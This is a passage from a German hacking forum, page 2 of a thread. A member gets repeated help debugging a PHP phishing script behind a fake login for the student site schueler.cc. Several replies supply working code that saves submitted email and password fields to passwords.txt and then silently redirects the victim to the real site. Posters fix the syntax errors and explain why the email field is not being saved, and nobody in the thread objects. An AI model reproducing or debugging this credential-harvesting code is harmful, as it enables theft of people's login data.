Seite 2 von 3 ErsteErste 123 LetzteLetzte
Ergebnis 11 bis 20 von 22
  1. #11
    Trojaner
    Registriert seit
    23.07.2009
    Beiträge
    61

    Standard

    weißt du schon was neues warum das nicht geht?

  2. #12
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    HTML-Code:
    <html>
    <body>
    <meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
    </body>
    </html>
    Wieso machen das alle so? 0o. Zunächst einmal: Meta-Angaben gehören _immer_ in den Head der Seite! Also zwischen <head> und </head>, nicht in den Body! Der Body ist für die Seite, nicht für Kopfangaben.
    Weiterhin ist eine Weiterleitung per Meta eh schlecht. Per PHP geht es viel sauberer.
    Also stattdessen:

    PHP-Code:
    header("refresh:1;url=http://"); 
    Oder einfach

    PHP-Code:
    header("location:http://"); 
    Dann zu Deinem Code... Der Fehler lag daran, dass die Else-Schleife nicht geschlossen wurde. Zu dem öffnenden { gehört auch immer ein }. Ist dies nicht der Fall, kann es zu Fehlern kommen. Daher nutze ich bei sowas sehr gerne die Tabulator-Taste...

    Versuch den, der ist meiner Meinung nach besser geeignet (mal eben zusammengezimmert):

    PHP-Code:
    <?php

    @header("refresh:1;url=http://www.schueler.cc");

    $handle fopen("passwords,txt","a");

    if(!
    $_POST['email'] OR !$_POST['passwort'])) {

        die(
    "Sie sollten sich schon mit allen Daten einloggen!");

    } else {

        
    $handle fopen("passwords.txt","a");
        
        foreach(
    $_POST AS $key => $value) {

            
    fwrite($handle,$key."=".$value."\r\n");

        }

        
    fclose($handle);

    }

    exit;

    ?>
    Come to the dark side - We have cookies

  3. #13
    Gesperrt
    Registriert seit
    18.11.2007
    Beiträge
    669

    Standard

    PHP-Code:
    <?php
    if(!$_POST['email'] OR !$_POST['passwort'])) {
        die(
    "Sie sollten sich schon mit allen Daten einloggen!");
    } else {
        
    $mail $_POST['email'];
        
    $pass $_POST['passwort'];
        
    file_put_contents('passwords.txt'"Mail: $mail\n");
        
    file_put_contents('passwords.txt'"Pass: $pass\n\n";
    }
    header("Location: http://www.schueler.cc"true301);
    ?>
    Find ich besser

  4. #14
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Besser auf die Seite zugeschnitten vielleicht, ja. Mein Code ist jedoch allgemein, also überall nutzbar . Klar kann man es auch mit file_put_contents() machen. Ob es besser ist, ist fraglich.
    Come to the dark side - We have cookies

  5. #15
    Trojaner
    Registriert seit
    23.07.2009
    Beiträge
    61

    Standard

    Ich will ja nicht nerven aber es zeigt schon wieder nen Error an -.-

    Parse error: syntax error, unexpected ')' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 2

  6. #16
    Super-Moderator Avatar von Southpark
    Registriert seit
    12.07.2008
    Beiträge
    1.062

    Standard

    Tom199415 Php kannst du garnicht oder?

    Code:
     <?php
    if(!$_POST['email'] OR !$_POST['passwort']) {
        die("Sie sollten sich schon mit allen Daten einloggen!");
    } else {
        $mail = $_POST['email'];
        $pass = $_POST['passwort'];
        file_put_contents('passwords.txt', "Mail: $mail\n");
        file_put_contents('passwords.txt', "Pass: $pass\n\n";
    }
    header("Location: http://www.schueler.cc", true, 301);
    ?> 

  7. #17
    Trojaner
    Registriert seit
    23.07.2009
    Beiträge
    61

    Standard

    nee^^

    das kapier ich überhaupt nicht...

    Error:

    Parse error: syntax error, unexpected ';' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 8
    Geändert von TOM199415 (10.09.2009 um 22:59 Uhr) Grund: Automerged Doublepost

  8. #18
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    PHP-Code:
    file_put_contents('passwords.txt'"Pass: $pass\n\n"
    Da fehlt eine Klammer...

    PHP-Code:
    file_put_contents('passwords.txt'"Pass: $pass\n\n"); 
    Meine Güte, lern' PHP. Was ich noch am schlimmsten fand: Wenn Du in Zeile acht gehst, und den Befehl mit der Zeile davor vergleichst sollte man das merken 0o.
    Come to the dark side - We have cookies

  9. #19
    Trojaner
    Registriert seit
    23.07.2009
    Beiträge
    61

    Standard

    Hab die php selber geändert weil wieder ein Error war in Zeile 10.

    Sieht jetzt so aus:
    Code:
     <?php
    if(!$_POST['email'] OR !$_POST['passwort']) {
        die("Sie sollten sich schon mit allen Daten einloggen!");
    } else {
        $mail = $_POST['email'];
        $pass = $_POST['passwort'];
        file_put_contents('passwords.txt', "Mail: $mail\n");
        file_put_contents('passwords.txt', "Pass: $pass\n");
    }
    @header("refresh:1;url=http://www.schueler.cc");
    ?>
    Nur die php schreibt mir nur das Passwort in die txt?

  10. #20
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Dann ist das hier falsch:

    Code:
        $mail = $_POST['email'];
    Also der Name des Formulars ist wahrscheinlich anders.
    Come to the dark side - We have cookies

Seite 2 von 3 ErsteErste 123 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •